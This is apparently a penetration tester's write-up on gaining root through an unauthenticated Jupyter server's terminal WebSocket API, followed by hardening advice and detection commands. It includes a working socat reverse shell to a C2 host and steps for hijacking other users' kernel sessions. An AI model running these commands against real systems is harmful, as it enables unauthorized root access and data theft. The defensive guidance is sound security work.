This is not a vulnerability in Jupyter. This is a code execution feature working as designed. When Jupyter is properly configured with token authentication (the default), this technique wouldn't work. The issue comes about when administrators disable security features and run Jupyter with elevated privileges—a dangerous combination on a shared machine.
During a recent penetration test, I found myself staring at a restricted shell on a Linux box. No GUI, no browser, just a terminal, limited tunneling options, and whatever command-line tools I could find. The usual post-exploitation playbook quickly showed something interesting in the process list: a Jupyter notebook server running as root.
For those unfamiliar, Jupyter is the Swiss Army knife of data science—a web-based environment where researchers and analysts write code, visualize data, and document their findings all in one place. It’s code execution as a service, basically.
My first instinct was to check if the Jupyter server was accessible
$ curl -s localhost:8888/api/status | jq .
{
"started": "2025-12-01T10:23:45.123456Z",
"last_activity": "2025-12-01T14:32:10.654321Z",
"connections": 2,
"kernels": 3
}
It was. The API was responding, and even better—no authentication token required. This meant the server was either running with --NotebookApp.token=''
or I was accessing it from a trusted network. Either way, Christmas came early.
Here's where things got a little more interesting. Jupyter's REST API documentation showed an interesting endpoint: /api/terminals
. Unlike the kernel API (which executes Python code), the terminal API provides actual shell access. And I could create a terminal session fairly easily.
# Create a terminal session
$ curl -X POST localhost:8888/api/terminals
{"name": "1", "last_activity": "2024-12-01T14:45:32.123456Z"}
But there’s a catch. Terminals in Jupyter communicate over WebSocket, not HTTP. Traditional tools like curl
or nc
wouldn't work. I needed something that could speak WebSocket from the command line.
After some research, I discovered websocat
—essentially netcat for WebSockets. It's a binary that bridges the gap between command-line tools and WebSocket services. Perfect for situations like this.
With websocat in hand, I could now interact with Jupyter's terminal WebSocket, but it wasn’t immediately obvious how to send commands from there terminal. The Jupyter Client WebSocket documentation on WebSocket protocols provides some details about how messages are passed between kernels and the Jupyter web application. And the Terminado client’s websocket implementation outlines the format needed to interact with Jupyter.
So when you connect to a Jupyter terminal via WebSocket, you're not getting a raw shell - you're talking to a protocol handler that expects JSON arrays where the
"stdin"
, "stdout"
, "setup"
, etc.)This lets Jupyter multiplex different data streams (input, output, control messages) over a single WebSocket connection. So sending ["stdin", "command"]
is how you talk to Jupyter's terminal WebSocket protocol.
And when you connect, it seems to take a second to initialize the WebSocket connection, and it wouldn’t immediately take my commands, so the elegant solution is to sleep. And so, echoing a command like this:
$ (sleep 1; echo '["stdin", "id\\n"]'; sleep 1; echo '["stdin", "exit\\n"]') | ./websocat "ws://localhost:8888/terminals/websocket/1"
# returns this
["setup", {}]
["stdout", "\\u001b[?2004h/home/jupyter $ "]
["stdout", "id\\r\\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\\r\\n"]
UID 0? Of course, the Jupyter server was running as root, and the terminal API was giving me a root shell. No sudo required, no privilege escalation needed—just ask nicely and receive.
With root access through the terminal, I could now read Jupyter's runtime files:
$ (sleep 1; echo '["stdin", "cat /root/.local/share/jupyter/runtime/kernel-*.json\\n"]'; \\
sleep 1; echo '["stdin", "exit\\n"]') | \\
/tmp/websocat "ws://localhost:8888/terminals/websocket/1"
These kernel connection files contained:
With these, I could connect directly to any running notebook kernel and execute code in other users' sessions. Session hijacking for data science.
For easier interaction, I established a proper reverse shell:
$ (sleep 1; echo '["stdin", "socat exec:\\"bash -li\\",pty,stderr,setsid,sigint,sane tcp:my.c2.server:4444 &\\n"]'; sleep 1; echo '["stdin", "exit\\n"]') | ./websocat "ws://localhost:8888/terminals/websocket/1"
Now I had a fully interactive root shell, running through Jupyter's own process. To any monitoring system, this might look like legitimate Jupyter activity.
This isn't a vulnerability in Jupyter—it's a deployment anti-pattern.
Together, these created a perfect storm. Any user with local access could escalate to root through Jupyter's intended functionality.
# Bad
USER root
CMD ["jupyter", "notebook"]
# Good
RUN useradd -m jupyter
USER jupyter
CMD ["jupyter", "notebook"]
If you need multi-user Jupyter, use tools designed for it:
# JupyterHub with SystemUserSpawner
c.JupyterHub.spawner_class = 'systemdspawner.SystemUserSpawner'
c.SystemUserSpawner.default_shell = '/bin/bash'
c.SystemUserSpawner.isolate_tmp = True
c.SystemUserSpawner.isolate_devices = True
Need GPU access without root? Use capabilities:
# Instead of running as root for GPU access
docker run --cap-add=SYS_ADMIN --device=/dev/nvidia0
# Or better, use nvidia-docker
docker run --gpus all --user jupyter
Map out what users actually need:
If users legitimately need shell access, try isolate it properly:
# Custom terminal with restricted shell
c.ServerApp.terminado_settings = {
'shell_command': ['/bin/rbash'],# Restricted bash
'max_terminals': 3,
'timeout': 3600
}
# Or disable terminals entirely
c.ServerApp.terminals_enabled = False
For blue teams, this attack leaves clear traces:
# Alert on any terminal API usage
grep "POST /api/terminals" jupyter.log
# Alert on kernel files being read by non-owners
auditctl -w /home/*/.local/share/jupyter/runtime/ -p r -k jupyter_kernel_access
# Flag suspicious outbound connections from Jupyter processes
ss -tunap | grep jupyter | grep -v "127.0.0.1:8888"
# Monitor for reverse shells
watch 'netstat -anp | grep jupyter | grep ESTABLISHED | grep -v 8888'
# Monitor for privilege escalation attempts
grep -E "(sudo|su -|pkexec)" /var/log/jupyter.log
# Watch for suspicious process spawning
ps -ef | grep jupyter | grep -E "(socat|nc|bash -i|sh -i)"
So don’t run services as root because it's easier. Or disable authentication for convenience. Treat development defaults as production-ready.
Jupyter is great for interactive data science. The terminal API is genuinely useful for package installation and environment debugging. But these same features are ripe for abuse if deployed without proper consideration.
Asking "what happens when this feature meets a hostile user?" during deployment should be a mantra.
Downloading websocat and echoing commands is fine for janky use, but how about a little client to drop into a shell?
Check out jupyter-shell
go run main.go -url http://127.0.0.1:8888 -token <snip>
Created terminal: 1
Connecting to: ws://127.0.0.1:10000/terminals/websocket/1?token=<snip>
2025/06/04 16:12:25 Terminal ready
(base) jovyan@f604a11544c7:~$
Jupyter Terminal Shell
Type 'exit' or press Ctrl+C to quit
----------------------------------------
$ id
id
uid=1000(jovyan) gid=100(users) groups=100(users)